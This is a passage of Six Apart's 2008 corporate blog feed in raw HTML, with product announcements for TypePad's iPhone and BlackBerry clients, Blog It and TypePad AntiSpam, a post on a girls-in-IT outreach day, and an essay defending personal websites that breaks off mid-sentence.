TypePad for years, offers a detailed first look on <a href="http://www.tuaw.com/2008/07/10/first-look-typepad-for-the-iphone/">The Unofficial Apple Weblog</a>: I'm a big fan of the service ... and that's why I was very excited to see TypePad was coming out with an iPhone native blogging app."</li></ul><div>We're just as excited to see what you think of the application, of course. So do let us know: Post about your experiences on your TypePad blog, or let us know via Twitter. (You do follow the <a href="http://twitter.com/sixapart">Six Apart account</a> on Twitter, don't you?) That's just as easy to do, because <span class="Apple-style-span" style="font-weight: bold;">TypePad for iPhone supports posting to TypePad and Twitter at the same time</span>. And a tip: One of the new features for iPhone and iPod touch is really handy if you want to write about an application -- just hold down the power button and the Home button to take a screenshot, which shows up as a regular image on your device.</div><div><br /></div><div>Best of all, TypePad for iPhone joins a <a href="http://www.typepad.com/features/mobile.html">whole family of mobile applications</a> for TypePad. There's a <a href="http://i.typepad.com/">powerful iPhone web interface for TypePad</a>, which includes a ton of cool features like statistics and comment management. And just like the iPhone app, they're all free for TypePad members, they're all among the first full-featured blogging applications on their platforms, and they're all exclusive benefits of being a TypePad member.</div><div><br /></div><h3>Better Mobile Blogging for Everyone</h3><div>We haven't forgotten that some of our most loved bloggers are on Movable Type and Vox, and that we have an obligation to all bloggers to make it as easy as possible to share your ideas with the world. So there are some great iPhone options for these bloggers, too:</div><div><br /></div><div><ul><li>For <a href="http://www.movabletype.com/">Movable Type</a>, the free <a href="http://plugins.movabletype.org/imt/">iMT</a> plugin gives you a full-featured interface for updating and managing your Movable Type blogs, including the ability to review comments, entries, and more. You can also use the free <a href="http://blogit.typepad.com/">Blog It, powered by TypePad</a>, to easily update your MT blog while updating other services like Twitter or Facebook as well. (These options work perfectly with Movable Type 4.2, which is now in the <a href="http://www.movabletype.org/beta/42/">Release Candidate stage</a> of testing.)</li><li>For <a href="http://www.vox.com/">Vox</a> members, you can just sign in to <a href="http://blogit.typepad.com/">Blog It</a> on your iPhone and post to your Vox blog with just a few taps.</li><li>For everybody else, <a href="http://blogit.typepad.com/">Blog It</a>'s a good option as well. The TypePad-powered service works with popular blogging tools like Blogger, LiveJournal, and WordPress.</li></ul><div>While, honestly, it's a little bit of a thrill for all of us at Six Apart to go to the <a href="http://www.apple.com/">Apple homepage</a> and see a little TypePad logo tucked away on one of the screenshots, it's much more exciting to realize that a whole new mobile audience is about to discover the power of blogging. We hope you'll give <a href="http://www.typepad.com/features/blog-iphone.html">TypePad for iPhone</a> a try, and we're excited that, once again, TypePad members are getting the coolest new features first.</div></div></div> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=hj8QIJ"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=hj8QIJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=RyhbVJ"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=RyhbVJ" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=Ra1f4J"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=Ra1f4J" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=sClePj"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=sClePj" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/336254525" height="1" width="1"/> http://www.sixapart.com/blog/2008/07/typepad-for-iphone-is-a-hit.html Bringing Great Blogging Tools to iPhone tag:www.sixapart.com,2008:/blog//1.3945 2008-06-12T10:00:00Z 2008-07-10T00:37:39Z Ever since Ben and Mena Trott created Movable Type together so that Mena could blog and build a community, Six Apart has been about helping to get more people blogging. In order to do this we must produce optimized user... David Recordon http://www.davidrecordon.com/ <p>Ever since Ben and Mena Trott created Movable Type together so that Mena could blog and build a community, Six Apart has been about helping to get more people blogging. In order to do this we must produce optimized user experiences that take cutting edge technology and make it more accessible. We've been fortunate enough be recognized for our efforts in innovation and <strong>today we're introducing a free web application, Blog It for iPhone Powered by TypePad</strong>. Built specifically for iPhone's Safari browser, Blog It for iPhone enables you to post blog entries or status updates from wherever you are to more than a dozen different online services.</p> <p>Blog It for iPhone is essentially the mobile version of our Blog It for Facebook application, <a href="http://www.sixapart.com/blog/2008/04/bringing_bloggi.html">which we launched in April</a>. We've been thrilled with the response to Blog It for Facebook (see <a href="http://www.readwriteweb.com/archives/sixapart_ties_it_all_together.php">this ReadWriteWeb post</a> for an example!), and love seeing people use it to create content and share it all over the web. And we also love making it better -- in May we added support for <a href="http://daringfireball.net/projects/markdown/basics">MarkDown</a> so you don't need to write HTML by hand; and in June we added support for FriendFeed and Jaiku, to bring the total list of services we support to thirteen. Blog It now supports creating content on Blogger, Facebook, FriendFeed, Jaiku, LiveJournal, Movable Type, Pownce, Tumblr, Twitter, TypePad Vox, WordPress.com, and any WordPress.org site.</p> <h3>Blog It: Free blogging to any platform, from any iPhone</h3><p>The <a href="http://blogit.typepad.com/">Blog It for iPhone web application</a> lets you post to your blog and update your status via one easy-to-use interface. Just like the original version for Facebook, you can choose to automatically share your post with people you know on various social networks. And Blog It for iPhone supports all the same services Blog It for Facebook does. To use Blog It for iPhone simply visit <a href="http://blogit.typepad.com/">blogit.typepad.com</a> from your iPhone or iPod Touch.</p> <p>It's so easy that you don't even need to create yet another account; we've integrated <a href="http://openid.net/">OpenID</a> for login to Blog It for iPhone. Our designers worked hard to try to keep it simple so that even if you don't know what OpenID is you'll still be able to just login with your account from Yahoo!. This also means that once you've chosen to link your accounts together, all of your existing settings from Blog It for Facebook will automatically show up on your iPhone and any changes you make will be reflected no matter where you use Blog It.</p> <p>The Blog It for iPhone web application joins our <a href="http://everything.typepad.com/blog/2007/09/introducing-typ.html">existing iPhone-optimized TypePad site</a> which we launched last year. TypePad bloggers can visit <a href="http://i.typepad.com/">i.typepad.com</a> from their iPhone to manage comment activity, create and publish simple blog posts and even check on site traffic statistics. To our beloved Movable Type users, we've heard you loud and clear: Blog It is a great way to post to Movable Type from your iPhone, or if you want even more features, you can check out <a href="http://plugins.movabletype.org/imt/">the iMT plugin</a>, which lets you manage your whole Movable Type blog from the device.</p> <p>To round out blogging support for the iPhone, a native iPhone application for TypePad will be available for free at the launch of the iPhone App Store. TypePad for iPhone enables bloggers to instantly post photos from their iPhone to their blogs and photo albums on TypePad. Michael Sippey, Six Apart's VP of Products, demonstrated this new app during the keynote at Apple's Worldwide Developers Conference this week in San Francisco. Check out the <a href="http://events.apple.com.edgesuite.net/0806wdt546x/event/index.html">video of the event</a>; his demo starts at about the 30 minute mark.</p> <p>We're certainly excited about all of the great new things we can provide to bloggers because of the iPhone's great web browser and powerfully simple SDK for native applications. Below are some screenshots of the new free Blog It for iPhone web application, and you can access it from Safari on your iPhone at <a href="http://blogit.typepad.com/">blogit.typepad.com</a>.</p> <p><br /> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Vox%20Login%20with%20Nav1.html" onclick="window.open('http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Vox%20Login%20with%20Nav1.html','popup','width=414,height=770,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://www.sixapart.com/blog/assets_c/2008/06/Blog It iPhone - Vox Login with Nav-thumb-150x278.png" width="150" height="278" alt="Blog It iPhone - Vox Login with Nav.png" class="mt-image-none" style="" /></a></span><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Link%20Your%20Facebook1.html" onclick="window.open('http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Link%20Your%20Facebook1.html','popup','width=414,height=770,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://www.sixapart.com/blog/assets_c/2008/06/Blog It iPhone - Link Your Facebook-thumb-150x278.png" width="150" height="278" alt="Blog It iPhone - Link Your Facebook.png" class="mt-image-none" style="" /></a></span><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Linking%20My%20Facebook1.html" onclick="window.open('http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Linking%20My%20Facebook1.html','popup','width=414,height=770,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://www.sixapart.com/blog/assets_c/2008/06/Blog It iPhone - Linking My Facebook-thumb-150x278.png" width="150" height="278" alt="Blog It iPhone - Linking My Facebook.png" class="mt-image-none" style="" /></a></span></p><br /> <p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Update%20Status.html" onclick="window.open('http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Update%20Status.html','popup','width=414,height=770,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://www.sixapart.com/blog/assets_c/2008/06/Blog It iPhone - Update Status-thumb-150x278.png" width="150" height="278" alt="Blog It iPhone - Update Status.png" class="mt-image-none" style="" /></a></span><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Post%20to%20Blog.html" onclick="window.open('http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Post%20to%20Blog.html','popup','width=414,height=770,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://www.sixapart.com/blog/assets_c/2008/06/Blog It iPhone - Post to Blog-thumb-150x278.png" width="150" height="278" alt="Blog It iPhone - Post to Blog.png" class="mt-image-none" style="" /></a></span><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><a href="http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Manage%20Accounts.html" onclick="window.open('http://www.sixapart.com/blog/Blog%20It%20iPhone%20-%20Manage%20Accounts.html','popup','width=414,height=770,scrollbars=no,resizable=no,toolbar=no,directories=no,location=no,menubar=no,status=no,left=0,top=0'); return false"><img src="http://www.sixapart.com/blog/assets_c/2008/06/Blog It iPhone - Manage Accounts-thumb-150x278.png" width="150" height="278" alt="Blog It iPhone - Manage Accounts.png" class="mt-image-none" style="" /></a></span></p></p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=eqKemI"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=eqKemI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=q1KRfI"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=q1KRfI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=dImDAI"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=dImDAI" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=TXnldi"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=TXnldi" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/310383413" height="1" width="1"/> http://www.sixapart.com/blog/2008/06/bringing-great-blogging-tools.html TypePad AntiSpam: What's Good for the Web tag:www.sixapart.com,2008:/blog//1.3931 2008-05-29T17:10:59Z 2008-07-10T00:01:35Z At Six Apart, our mission is to help people communicate on the web, and we've always done this by making the best software and services that we can. But part of our larger goal is to help do what's... Anil Dash http://www.anildash.com/ <p>At Six Apart, our mission is to help people communicate on the web, and we've always done this by making the best software and services that we can. But part of our larger goal is to help do what's right for the web, and today we're launching the latest initiative in that effort: <a href="http://antispam.typepad.com/">TypePad AntiSpam</a>.</p> <p>What's TypePad AntiSpam? A few short answers:</p> <div style="float : right; padding : 10px;"><script type="text/javascript"> digg_url = 'http://digg.com/software/SixApart_Launches_OS_ed_Blog_AntiSpam_Competitor_to_Akismet'; </script> <script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div> <ul> <li>A free, open source system powered by TypePad for blocking comment spam on <em>any</em> site, free <strong>no matter how many comments you get</strong>.</li> <li>A service for all bloggers, built into TypePad blogs already and implemented as a <a href="http://antispam.typepad.com/info/get-started.html">free plugin</a> for users of platforms like Movable Type and WordPress.</li> <li>An <a href="http://antispam.typepad.com/info/developers.html">open source engine</a> which developers can use to create <em>new</em> antispam services, with customizable rules and logic.</li> <li><span class="Apple-style-span" style="font-weight: bold;">In beta!</span> We're hearing great results from testers so far, but wanted to open up TypePad AntiSpam to a larger audience so we can make sure the system is getting as smart as possible.</li> </ul> <span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="typepadantispam.jpg" src="http://www.sixapart.com/blog/images/typepadantispam.jpg" width="225" height="77" class="mt-image-left" style="float: left; margin: 0 20px 20px 0;" /></span><p>One of the reasons that we think TypePad AntiSpam is performing so well already is that its adaptive learning engine has been trained by millions of comments already. Every time any TypePad user reports a comment as junk, the system gets a little bit smarter and is even more ready to fight future spam attacks. The same goes for TrackBacks and Pingbacks.<br /> </p><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><br /></span>So, if you hate spam, you're probably wondering how to get TypePad AntiSpam. It's easy!<p></p> <ul> <li>TypePad AntiSpam is a <strong>free, automatic upgrade</strong> for TypePad users at any subscription level -- it's built in! You can <a href="http://everything.typepad.com/blog/2008/05/a-better-way-to.html">read up on Everything TypePad</a> to find out how this helps your TypePad blogs and be sure to check out the screencast.</li> <li>The service is <strong>included in the brand-new <a href="http://www.movabletype.org/">Movable Type 4.2 Release Candidate 1</a></strong> and is available as a free plugin for any user of MT 3.3 or later.</li> <li>For users of other platforms, TypePad AntiSpam is a free plugin. Users of WordPress 2.3 and 2.5 can <a href="">download the plugin for free</a>, and other platforms can use our 100% Akismet <span class="caps">API</span>-compatible implementation to extend their existing antispam support to use this service.</li> </ul> <p>So, why are we releasing TypePad AntiSpam now? It all comes back to our mission, as stated above: We want to increase the quality of conversation on the web. At the highest level, we wanted to change the economics of blog spamming by introducing variety into the ecosystem.</p> <p>The more different implementations of spam-fighting technology that exist, the more complex and challenging (and expensive!) it becomes for spammers to keep attacking our communities. At the same time, we want to make sure our economic incentives at Six Apart as a business are aligned with the best interests of bloggers, so that we feel the pain and cost of spam just as you do. And we want to get these weapons in the fight against spammers into as many hands as possible. One of the earliest sites to deploy the new platform has been popular tech blog <a href="http://www.techcrunch.com/">TechCrunch</a>, which just<a href="http://www.techcrunch.com/2008/05/29/typepad-antispam-a-new-open-source-comment-spam-fighter/"> offered up a review of TypePad AntiSpam</a> from the site's founder, Michael Arrington:</p><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;">[L]ast week we switched to TypePad AntiSpam as a test, crossed our fingers and hoped for the best. After a week I'm pleased to say that as good as Akismet is, the TypePad product has performed as good or better for us.</blockquote><blockquote class="webkit-indent-blockquote" style="margin: 0 0 0 40px; border: none; padding: 0px;"><br /></blockquote> <span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="Protected by TypePad AntiSpam" src="http://www.sixapart.com/blog/images/protected_by_TypePad_AntiSpam_11.gif" width="150" height="68" class="mt-image-right" style="float: right; margin: 0 0 20px 20px;" />TypePad AntiSpam has learned from the platforms that came before: Automattic's team has created a <a href="http://akismet.com/development/api/">dead-simple </a><span class="caps"><a href="http://akismet.com/development/api/">API</a> </span>for Akismet, and we're 100% compatible with their <span class="caps">API. </span>(As Dave Winer <a href="">once said</a>, "Invention here is hardly the issue. What matters is adoption and forward motion.") The smart work at <a href="http://defensio.com/">Defensio</a> has made it clear that bloggers want more competition in the antispam market. And <a href="http://spamassassin.apache.org/">years of work on SpamAssassin</a> has shown the success of making an open source antispam engine that anyone can extend and customize to their own needs.</form> <p><br /></p><p>But most important, we made TypePad AntiSpam so that <strong>you don't have to think about spam</strong>. So grab the plugin (or TypePad users, just keep on blogging) and <a href="http://antispam.typepad.com/">join the fight against blog spam</a>. </p> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=o7uWaH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=o7uWaH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=iddm2H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=iddm2H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=Mgqk2H"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=Mgqk2H" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=Bxmhwh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=Bxmhwh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870236" height="1" width="1"/> http://www.sixapart.com/blog/2008/05/typepad-antispam-whats-good-fo.html Hey Bloggers: Get Out! (With TypePad) tag:www.sixapart.com,2008:/blog//1.3917 2008-05-14T07:08:01Z 2008-05-14T22:44:20Z Maybe everything interesting in life happens in front of a keyboard. But we don't think so, and we know that's not true for TypePad members, or for bloggers in general. We think you want to get outside and live your... Anil Dash http://www.anildash.com/ Maybe everything interesting in life happens in front of a keyboard. But we don't think so, and we know that's not true for TypePad members, or for bloggers in general. We think you want to get outside and live your life or run your business, while still being able to stay connected to your blog.<br /><br />That's why <a href="http://www.typepad.com/">TypePad</a> is the only blogging service that does mobile blogging right. So you can say what you have to say, from wherever you are.<br /><div><br /></div><div>We've been working to boost TypePad's cutting-edge mobile blogging features for years. And Six Apart has marked milestones as the best company for mobile blogging for years, like showing off our <a href="http://www.sixapart.com/blog/2004/02/six-apart-at-de.html">work at DEMO</a> all the way back in 2004. And we've stayed on the cutting edge -- our Vox service is <a href="http://go.vox.com/nokia/">built in</a> to every single Nokia N95, one of the hottest phones available worldwide.</div><div><br /></div><div><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="typepad-blackberry.png" src="http://www.sixapart.com/blog/images/typepad-blackberry.png" class="mt-image-right" style="margin: 0pt 0pt 20px 20px; float: right;" height="310" width="150" /></span>The tradition continues today, as we follow up TypePad being the first blogging service to <a href="http://www.apple.com/webapps/productivity/typepadforiphone.html">support the iPhone</a> (and, as <a href="http://www.apple.com/pr/library/2008/03/12iphone.html">Apple noted</a>, there's a dedicated iPhone client on the way) by launching another first: <a href="http://www.typepad.com/features/blog-blackberry.html">TypePad for the Blackberry Curve and Blackberry Pearl</a>.</div><div><br /></div><div>The new Blackberry client is a <span class="Apple-style-span" style="font-weight: bold;">free upgrade</span> for every TypePad member, just like the <a href="http://get.typepad.com/TypePad.CAB">Windows Mobile</a> and <a href="http://get.typepad.com/TypePad.prc">Palm</a> and <a href="http://www.typepad.com/features/mobile.html">Nokia Symbian</a> clients before it. And as a Blackberry user myself, it's been really satisfying to see how brilliantly TypePad is integrated into the device; I just take a photo like I always have, for example, and I'm seamlessly prompted afterwards if I want to send the picture to my TypePad site. Adding text is just as easy.</div><div><br /></div><div>It's no surprise that a Blackberry client would be a good fit for TypePad members, though. Even as they're increasingly popular in personal life, Blackberry devices have always been associated with professionals who really need to get their email on the go. And TypePad's always been the blogging service that focuses on professional needs, whether that's mobile blogging, having total control over your site with no unwanted advertising on your blog, or just having a dedicated support team to back you up when you need help.<br /><br />Of course, you might just be warming up to the idea of mobile blogging. In that case, the TypePad community is here to help: James Kendrick and Kevin Tofel of jkOnTheRun are using their TypePad-powered blog to run <a href="http://www.jkontherun.com/2008/05/be-a-mobile-blo.html">an awesome contest</a>. You can win a Blackberry handheld, and two years of service to TypePad.<br /><br />So, don't wait -- get your TypePad account, get your Blackberry, <a href="http://www.typepad.com/features/blog-blackberry.html">get the new client</a> and then get out there and start blogging!<br /></div> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=tKbcHH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=tKbcHH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=Kb0jMH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=Kb0jMH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=i8rAoH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=i8rAoH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=e2CUDh"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=e2CUDh" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870237" height="1" width="1"/> http://www.sixapart.com/blog/2008/05/typepad-blackberry-mobile.html It's Computer Mania! tag:www.sixapart.com,2008:/blog//1.3901 2008-05-05T20:57:21Z 2008-05-05T21:26:01Z Did you know that in 2006, only 10.5% of Computer Science AB test takers were girls? Sounds hard to believe, now two years later, when one of the serious contenders for the US Presidency is a woman, the majority of... Natalie Podrazik Did you know that in 2006, only 10.5% of Computer Science AB test takers were girls? Sounds hard to believe, now two years later, when one of the serious contenders for the US Presidency is a woman, the majority of bloggers are women, and we're a company whose co-founder and President is female. (Yeah!)<div><br /></div><div>Since 2003, the <a href="http://www.umbc.edu/cwit">Center for Women and IT</a> has been throwing a half-day IT-love fest at UMBC to keep the minds of middle school girls open to careers in technology, and, unabashedly, the event's name is Computer Mania Day. This past weekend, CMD '08 invited over 800 Baltimore-area middle school girls to personally interview a virtual-anime-puppet, work with PhD students to learn about haptics, and create their own hot air balloons, among tons of other real-life workshops presented by women in the industry. Meanwhile, the girls' parents participated in their own informative sessions about the status of women in IT led by industry leaders and Maryland Public School officials.</div><div><br /></div><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="computer-mania-day.png" src="http://www.sixapart.com/blog/images/computer-mania-day.png" class="mt-image-right" style="margin: 0pt 0pt 20px 20px; float: right;" height="162" width="252" /></span><div>I was lucky enough to lead my own Computer Mania Day workshop for the kids, sharing some some of my blogging knowledge, technical expertise, and professional and personal experiences in IT. And we made our own: over 50 girls signed up for their very own Vox accounts! The girls loved customizing their own blogs, and were especially surprised at how easy Vox was to use and navigate. (A few of the girls mentioned it being a lot easier than MySpace.) And they totally loved the Six Apart/Vox schwag, including cute mini-buttons, phone charms, and some very desirable Pink Vox baby tees.</div><div><br /></div><div>Events like these remind me that we should constantly work to enrich the core of the IT industry: its people. I had no problem gushing to the girls about the entertaining, challenging, and important job I've had with Apperceptive and now Six Apart, and I (not so) secretly hope that these girls grow up to bloggers and join the Six Apart staff! That being said, if you know of a young woman or man looking to start a career in technology, <a href="http://www.sixapart.com/about/jobs/">Six Apart is hiring</a> everything from developers to designers to business development and account managers.</div><div><br /></div><div>You can check out <a href="http://computermaniaday.vox.com/">computermaniaday.vox.com</a> for the links to the blogs made and a liveblog entry chronicling the day. More information about <a href="http://www.umbc.edu/cwit/computer_mania.html">Computer Mania Day</a> can be found on the UMBC site, as well as the <a href="http://www.computer-mania.info/">CMD homepage itself</a>. </div> <div class="feedflare"> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=PIrzxH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=PIrzxH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=mCBUqH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=mCBUqH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=YuW1jH"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=YuW1jH" border="0"></img></a> <a href="http://feeds.feedburner.com/~f/SixApartNews?a=juxZih"><img src="http://feeds.feedburner.com/~f/SixApartNews?i=juxZih" border="0"></img></a> </div><img src="http://feeds.feedburner.com/~r/SixApartNews/~4/300870238" height="1" width="1"/> http://www.sixapart.com/blog/2008/05/its-computer-mania.html Hell no, personal sites aren't dead! tag:www.sixapart.com,2008:/blog//1.3897 2008-04-30T19:42:16Z 2008-04-30T21:29:44Z A few days ago, venerable web designer (and standards advocate) Jeffrey Zeldman posted "The vanishing personal site". Jeffrey lamented the fact that a lot of people who, in the past, might have made personal web sites are instead sharing their... Anil Dash http://www.anildash.com/ A few days ago, venerable web designer (and standards advocate) Jeffrey Zeldman posted "<a href="http://www.zeldman.com/2008/04/27/content-outsourcing-and-the-disappearing-personal-site/">The vanishing personal site</a>". Jeffrey lamented the fact that a lot of people who, in the past, might have made personal web sites are instead sharing their thoughts, ideas and creations on social networking sites that they don't control. His post inspired an important conversation across the blogosphere and in media like Wired, which <a href="http://blog.wired.com/monkeybites/2008/04/is-the-all-in-o.html">asked the question</a>, "Is the all-in-one personal website headed for extinction?"<div><br /></div><div>Our answer is: <span class="Apple-style-span" style="font-weight: bold;">Hell no.</span> Six Apart is a company founded in the rich tradition of personal sites on the web. Members of our team have been <a href="http://www.sixapart.com/blog/2007/04/michael_sippey.html">publishing personal sites</a> continuously for a decade or more. We know that blogs have inherited the mantle of the personal website. We believe fundamentally in people controlling their own information online, and think this makes our platforms better for everyone from individuals to businesses.The promise, the greatest <span class="Apple-style-span" style="font-style: italic;">potential</span>, of the web from its very beginning was that any of us could share and connect with friends, family, coworkers, colleagues or strangers around the world using websites and tools that <span class="Apple-style-span" style="font-weight: bold;">we own and control ourselves</span>.</div><div><br /></div><div><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="zeldman-goodreads.png" src="http://www.sixapart.com/blog/images/zeldman-goodreads.png" width="268" height="61" class="mt-image-right" style="float: right; margin: 0 0 20px 20px;" /></span></div><div>We love social networking sites. We think they let us do great things. So we've spent years inventing the technology that lets any of us fully participate in social networking sites while still having full control of our information on today's personal sites. And today, we call these ultimate personal sites blogs.</div><div><br /></div><div><span class="Apple-style-span" style="font-weight: bold;">This isn't just about aggregation. </span>This is about smart, two-way connections between blogs as independent personal sites and the entire universe of social networking sites. It's an idea that's been referred to by many names, including "<a href="http://www.movabletype.com/blog/2008/04/blog-it-connecting-social-netw.html">unified social networking</a>", but it's a vision that's shared by any of us who have experienced that signature first moment of realization about a website: "I could make one of these!"</div><div><br /></div><h3>Connecting your blog to everything you do around the web</h3><div>This isn't just some philosophical discussion -- we've already launched a number of projects to fulfill this vision of new, smarter personal sites that understand the world of social software. And the reality is, your friends are only going to belong to more and more social networks; The most popular networking sites change every year, but the fact that there are increasing numbers of networks doesn't. So here's what we've done to make it all manageable, and to let you use all of these sites while still having your data and your activity live on your own personal site.</div><div><br /></div><div><ul><li><a href="http://www.sixapart.com/blog/2008/01/time_for_action.html"><span class="Apple-style-span" style="font-weight: bold;">Action Streams</span></a>: This system, first available as a completely free and open source Movable Type <a href="http://plugins.movabletype.org/action-streams/">plugin</a>, lets you aggregate your activity from <span class="Apple-style-span" style="font-weight: bold;">over 50 social sites</span> across the web. And it's easy to <a href="http://www.movabletype.org/2008/01/building_action_streams.html">add new services</a>, so when community members wanted to import <a href="http://plugins.movabletype.org/tripit-activity-feed/">TripIt journeys</a> or <a href="http://plugins.movabletype.org/fire-eagle-for-movable-type/">Fire Eagle locations</a> or <a href="http://plugins.movabletype.org/action-stream-amazon/">Amazon wishlists</a>, they just get plugged into the system.</li><li><a href="http://www.typepad.com/features/blogit.html"><span class="Apple-style-span" style="font-weight: bold;">Blog It</span></a>: Blog It is a free Facebook application that posts to your blog or microblogging service, keeping all your networks in sync. And when we say "your blog", we don't just mean our platforms -- Blog It, while powered by TypePad, works with Blogger and WordPress and Twitter and Pownce, in addition to Movable Type and TypePad and Vox. But a picture's worth a thousand words: Check out the <a href="http://www.sixapart.com/blog/2008/04/bringing_bloggi.html">Blog It introduction video</a> to see for yourself.</li><li><a href="http://www.sixapart.com/blog/2007/09/were_opening_th.html"><span class="Apple-style-span" style="font-weight: bold;">Opening the Social Graph</span></a>: One key aspect of controlling your social networking behavior on your own site is that you have to be able to declare and manage your relationships on your own site. We've worked with the entire community to enable this kind of data sharing while preventing any <a href="http://www.sixapart.com/blog/2008/02/the_social_graph_api_and_surprises.html">ugly surprises</a> that can happen when you inadvertently reveal relationship information you didn't intend to share. That's been a consistent theme ever since we were the only partner to provide a <a href="http://www.sixapart.com/blog/2007/12/beacons_and_lit.html">completely opt-in implementation of Facebook's "Beacon"</a>.</li><li><span class="Apple-style-span" style="font-weight: bold;">Profiles Elsewhere</span>: Every one of our platforms, from Movable Type to TypePad to Vox, has the simple but essential ability to publish links to a list of your profiles on other services. It's easy to take these little bits of connection for granted, but expressing those relationships in a format that web software can understand sets the groundwork for future innovations. And it takes a big step towards your personal site being the place that people go first to find you online, instead of a social networking site you don't control.</li><li><span class="Apple-style-span" style="font-weight: bold;">OpenID</span>: We invented OpenID at Six Apart with the fundamental concept is that <span class="Apple-style-span" style="font-weight: bold;">your web address is part of your identity</span>, just like an email address. It's a point that's obvious to any of us who use our personal web sites on our business cards (or Moo cards!) to tell people who we are, but OpenID takes that concept and bakes it into the technological underpinnings of the web. And every one of our platforms has OpenID built-in, with more and better support to come in the future.</li><li><span class="Apple-style-span" style="font-weight: bold;">OAuth</span>: This is sort of the software-focused counterpart to OpenID, based on the idea that smart services should automatically integrate into your blogging platform. <a href="http://www.vox.com/">Vox</a> has done this since it was created -- you can insert Flickr photos or YouTube videos as easily as if they were built directly into Vox itself. And all of this is done with the idea that you <a href="http://www.sixapart.com/blog/2007/10/oauth_share_you.html">shouldn't have to share your password</a> just to share your ideas.</li></ul><div>Of course, there's a lot more to come. All of these technologies are available today and are generally free and open source. Most importantly, all of this work speaks to our belief that our innovations should support independent personal web sites, and should honor the tradition of creative individuals being able to fully participate in the web while still retaining complete control and ownership over their ideas and information.</div><div><br /></div><div><span class="mt-enclosure mt-enclosure-image" style="display: inline;"><img alt="zeldman-actions.png" src="http://www.sixapart.com/blog/images/zeldman-actions.png" width="424" height="29" class="mt-image-center" style="text-align: center; display: block; margin: 0 auto 20px;" /></span></div><div>But there's a lot more to do: New networks are popping up every day, and we need to invent ways for us to have even more control over the neverending competition for our attention. There are a whole set of new challenges that we couldn't have imagined in the days when personal sites seemed like the simple and obvious way to have a 